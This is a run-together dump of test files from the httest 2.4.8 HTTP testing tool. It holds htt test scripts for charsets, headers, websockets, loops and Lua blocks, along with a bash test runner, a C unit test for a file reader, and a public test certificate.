4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4%E4 CLIENT _CODER:URLDEC "begin${txt_utf_8}end" dec _CHARSET:CONVERT UTF-8 ISO-8859-1 "$dec" result _CODER:URLENC "$result" enc _EXPECT VAR(enc) "begin.*end" _EXPECT VAR(enc) "begin%E4.*%E4end" _CODER:URLDEC "begin${txt_iso_8859_1}end" dec _CHARSET:CONVERT ISO-8859-1 UTF-8 "$dec" result _CODER:URLENC "$result" enc _EXPECT VAR(enc) "begin.*end" _EXPECT VAR(enc) "begin%C3%A4.*%C3%A4end" END httest-2.4.8/test/run_visual.sh0000775000175100017510000000105512203674077013503 00000000000000#!/bin/bash if [ -z $srcdir ]; then srcdir=. fi . $srcdir/run_lib.sh function run_single { E=$1 OUT=$2 B=`echo $E | sed -e 's/\(.*\)\.visual/\1/'` if [ -f $B.visual ]; then ./run.sh $B.htt >/tmp/tmp.txt 2>/dev/null if [ $? -eq 2 ]; then return 2 fi lines=`wc -l $B.visual | awk '{ print $1 }'` tail -n ${lines} /tmp/tmp.txt | sed 's/\r$//' >/tmp/tmp2.txt diff /tmp/tmp2.txt $B.visual >$OUT else printf "SKIP" fi } echo visual tests LIST=`ls *.visual` COUNT=`ls *.visual | wc -l` run_all "$LIST" $COUNT httest-2.4.8/test/bad_headers.htt0000664000175100017510000000046012141535454013712 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: Localhost __Bad: Bad:More __ _EXPECT . "Bad: More" _WAIT END SERVER $YOUR_PORT _RES _EXPECT . "Bad:More" _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __Bad: Bad: More __ __== OK == END httest-2.4.8/test/websocket.htt0000664000175100017510000000243312203674100013450 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA WebsocketAccept websocketKey : result return crypto.base64.encode(crypto.evp.digest("sha1", websocketKey.."258EAFA5-E914-47DA-95CA-C5AB0DC85B11", true)) END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __Upgrade: websocket __Connection: Upgrade __Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== __Origin: http://$YOUR_HOST:$YOUR_PORT __Sec-WebSocket-Protocol: chat, superchat __Sec-WebSocket-Version: 13 __ _EXPECT headers "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK\+xOo=" _WAIT _WS:RECV OP _EXPECT VAR(OP) "PING" _WS:SEND PONG AUTO "" _EXPECT . "blabla" _WS:RECV OP _DEBUG $OP _EXPECT . "blu" _WS:RECV _EXPECT . "bli blo" _WS:RECV OP LEN _CLOSE END SERVER $YOUR_PORT _RES _MATCH headers "Sec-WebSocket-Key: (.*)" WebsocketKey _WAIT __HTTP/1.1 101 Switching Protocols __Upgrade: websocket __Connection: Upgrade #__Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= __Sec-WebSocket-Accept: $WebsocketAccept($WebsocketKey) __Sec-WebSocket-Protocol: chat __ _FLUSH _WS:SEND PING AUTO "" _WS:RECV OP _EXPECT VAR(OP) "PONG" _WS:SEND TEXT AUTO blabla 0x12345678 _WS:SEND TEXT AUTO blubla _WS:SEND TEXT AUTO "bli blo" _CLOSE END httest-2.4.8/test/test_file.c0000664000175100017510000001054312203674077013101 00000000000000/* contributor license agreements. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Store unit test */ /* affects include files on Solaris */ #define BSD_COMP /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include "defines.h" #include #include #include #include #include "file.h" #include "util.h" /************************************************************************ * Defines ***********************************************************************/ /************************************************************************ * Typedefs ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ int main(int argc, const char *const argv[]) { apr_status_t status; apr_pool_t *pool; apr_file_t *file; bufreader_t *bufreader; /** init store */ apr_app_initialize(&argc, &argv, NULL); apr_pool_create(&pool, NULL); fprintf(stdout, "Prepare test file..."); { char *tmpl; int i; apr_off_t offset = 0; tmpl = apr_pstrdup(pool, "testXXXXXX"); if ((status = apr_file_mktemp(&file, tmpl, 0, pool)) != APR_SUCCESS) { fprintf(stderr, "\nCould not open temp file: %s(%d)\n", my_status_str(pool, status), status); return 1; } for (i = 0; i < 10000; i++) { apr_file_printf(file, "test string test string %d\n", i); } apr_file_flush(file); if ((status = apr_file_seek(file, APR_SET, &offset)) != APR_SUCCESS) { fprintf(stderr, "\nCould not set read/write pointer to start: %s(%d)\n", my_status_str(pool, status), status); return 1; } } fprintf(stdout, "OK\n"); fprintf(stdout, "Read from bufreader..."); { char *line; int i; if ((status = bufreader_new(&bufreader, file, pool)) != APR_SUCCESS) { fprintf(stderr, "\nCould not create bufreader: %s(%d)\n", my_status_str(pool, status), status); return 1; } for (i = 0; i < 10000; i++) { if ((status = bufreader_read_line(bufreader, &line)) != APR_SUCCESS) { fprintf(stderr, "\nCould not read line %d: %s(%d)\n", i, my_status_str(pool, status), status); return 1; } if (strcmp(line, apr_psprintf(pool, "test string test string %d", i)) != 0) { fprintf(stderr, "\nline %d, do not match and is '%s'\n", i, line); return 1; } } if ((status = bufreader_read_line(bufreader, &line)) != APR_EOF) { fprintf(stderr, "\nAPR_EOF expected: %s(%d)\n", my_status_str(pool, status), status); return 1; } } fprintf(stdout, "OK\n"); fprintf(stdout, "Read until eof..."); { char *buf; apr_size_t len; apr_off_t offset = 0; if ((status = apr_file_seek(file, APR_SET, &offset)) != APR_SUCCESS) { fprintf(stderr, "\nCould not set read/write pointer to start: %s(%d)\n", my_status_str(pool, status), status); return 1; } if ((status = bufreader_new(&bufreader, file, pool)) != APR_SUCCESS) { fprintf(stderr, "\nCould not create bufreader: %s(%d)\n", my_status_str(pool, status), status); return 1; } if ((status = bufreader_read_eof(bufreader, &buf, &len)) != APR_SUCCESS) { fprintf(stderr, "\nCould not read until eof: %s(%d)\n", my_status_str(pool, status), status); } } fprintf(stdout, "OK\n"); apr_file_close(file); return 0; } httest-2.4.8/test/match_dot.hte0000664000175100017510000000054512141535454013420 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _MATCH . "AS(.) - (.)==" NUM MIN _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - == __ END httest-2.4.8/test/bps.htt0000664000175100017510000000055312141535454012260 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _BPS 1000 20 _REQ $YOUR_HOST $YOUR_PORT __POST / HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __............................................................................. _WAIT _CLOSE _END BPS _EXIT OK END SERVER $YOUR_PORT -1 _RES _WAIT __HTTP/1.1 200 OK __ END httest-2.4.8/test/go.htt0000664000175100017510000000024712204435011012065 00000000000000# This test is for visual output only. # After GO the ident should restart to and print the 3rd CLIENT like the frist # one. CLIENT END CLIENT END GO CLIENT END httest-2.4.8/test/client.cert.pem0000664000175100017510000000661712203674077013703 00000000000000Certificate: Data: Version: 3 (0x2) Serial Number: 2 (0x2) Signature Algorithm: sha1WithRSAEncryption Issuer: CN=htt.ca, C=CH, ST=Aargau, L=Wohlen, O=htt.sourceforge.net/emailAddress=ia97lies@sourceforge.net Validity Not Before: Apr 29 15:05:37 2013 GMT Not After : Apr 27 15:05:37 2023 GMT Subject: C=CH, ST=Aargau, O=htt.sourceforge.net, CN=htt.ca/emailAddress=ia97lies@sourceforge.net Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (1024 bit) Modulus: 00:bf:0d:89:da:90:93:3b:41:fb:48:e9:a1:95:41: 18:9f:fd:4e:63:05:60:a4:7e:49:1a:e1:89:e0:2f: 08:fb:bd:82:cb:10:26:af:fa:dc:b6:34:3f:c5:54: 60:b9:17:14:83:86:cf:d2:ff:d1:32:c8:e8:b8:74: ab:9c:18:7d:b4:84:6d:16:e9:82:0b:9a:64:70:a9: 1c:fe:55:d3:60:70:63:a9:4c:fd:e5:dc:cb:bc:63: c7:63:83:7d:1a:75:27:30:68:61:d1:ee:f5:05:1b: 4f:26:7a:c9:35:c3:3c:8e:a5:bd:a1:6a:41:d8:13: 87:1d:88:60:9a:cd:c5:73:d7 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: B4:72:A0:C6:77:9B:81:EE:91:96:9F:52:2A:EB:5E:14:08:1B:9E:6F X509v3 Authority Key Identifier: keyid:9B:33:23:DA:C1:E6:B9:58:E1:86:25:5B:89:2A:A9:97:E0:1E:C2:A0 DirName:/CN=htt.ca/C=CH/ST=Aargau/L=Wohlen/O=htt.sourceforge.net/emailAddress=ia97lies@sourceforge.net serial:C0:9D:BC:73:B9:AA:80:13 Signature Algorithm: sha1WithRSAEncryption 98:d9:b4:9c:c3:03:63:cc:48:14:34:7c:4b:74:50:b9:ca:94: e5:a9:18:45:3b:4b:2d:8c:88:cb:98:27:ed:83:1b:89:df:5f: 91:4b:6f:21:a5:75:46:9f:98:b2:4a:a9:4f:ca:b4:e9:54:ef: b6:de:f0:8a:db:eb:0c:0a:9a:c7:be:53:49:de:a0:1f:4c:4d: 7e:37:1b:13:b7:f5:f9:33:74:b3:12:e1:ba:c5:6e:1f:93:b4: 51:cd:b1:76:6b:f4:89:39:65:71:7b:1d:0b:28:89:33:16:34: 1e:50:06:c3:0a:d9:7d:55:1e:4b:47:df:86:4f:69:d5:ff:c1: e7:1f -----BEGIN CERTIFICATE----- MIIDYTCCAsqgAwIBAgIBAjANBgkqhkiG9w0BAQUFADCBhzEPMA0GA1UEAxMGaHR0 LmNhMQswCQYDVQQGEwJDSDEPMA0GA1UECBMGQWFyZ2F1MQ8wDQYDVQQHEwZXb2hs ZW4xHDAaBgNVBAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxJzAlBgkqhkiG9w0BCQEW GGlhOTdsaWVzQHNvdXJjZWZvcmdlLm5ldDAeFw0xMzA0MjkxNTA1MzdaFw0yMzA0 MjcxNTA1MzdaMHYxCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUxHDAaBgNV BAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxDzANBgNVBAMTBmh0dC5jYTEnMCUGCSqG SIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0MIGfMA0GCSqGSIb3DQEB AQUAA4GNADCBiQKBgQC/DYnakJM7QftI6aGVQRif/U5jBWCkfkka4YngLwj7vYLL ECav+ty2ND/FVGC5FxSDhs/S/9EyyOi4dKucGH20hG0W6YILmmRwqRz+VdNgcGOp TP3l3Mu8Y8djg30adScwaGHR7vUFG08mesk1wzyOpb2hakHYE4cdiGCazcVz1wID AQABo4HsMIHpMAkGA1UdEwQCMAAwHQYDVR0OBBYEFLRyoMZ3m4HukZafUirrXhQI G55vMIG8BgNVHSMEgbQwgbGAFJszI9rB5rlY4YYlW4kqqZfgHsKgoYGNpIGKMIGH MQ8wDQYDVQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUx DzANBgNVBAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNvdXJjZWZvcmdlLm5ldDEn MCUGCSqGSIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0ggkAwJ28c7mq gBMwDQYJKoZIhvcNAQEFBQADgYEAmNm0nMMDY8xIFDR8S3RQucqU5akYRTtLLYyI y5gn7YMbid9fkUtvIaV1Rp+YskqpT8q06VTvtt7witvrDAqax75TSd6gH0xNfjcb E7f1+TN0sxLhusVuH5O0Uc2xdmv0iTllcXsdCyiJMxY0HlAGwwrZfVUeS0ffhk9p 1f/B5x8= -----END CERTIFICATE----- httest-2.4.8/test/loop.htt0000664000175100017510000000070412141535454012443 00000000000000INCLUDE $TOP/test/config.htb CLIENT _LOOP 2 _LOOP 50 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT _END LOOP _END LOOP END SERVER $YOUR_PORT _LOOP 100 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ _END LOOP END httest-2.4.8/test/unused_match_dot.hte0000664000175100017510000000003512141535454014775 00000000000000CLIENT _MATCH . ".*" FOO END httest-2.4.8/test/unused_match_headers.hte0000664000175100017510000000004312141535454015621 00000000000000CLIENT _MATCH headers ".*" FOO END httest-2.4.8/test/block_lua_buf.htt0000664000175100017510000000140012141535454014253 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA MyLuaThing buf : ret -- test comment -- function foo(a) print(a) end for i=1,2 do print() foo("hallo"..buf) end return "foo" END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "OK" _WAIT BUF MyLuaThing VAR(BUF) RET _EXPECT VAR(RET) "foo" END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __ __

It works!

__

This is the default web page for this server.

__

"The" web server software is running but no content has been added, yet.

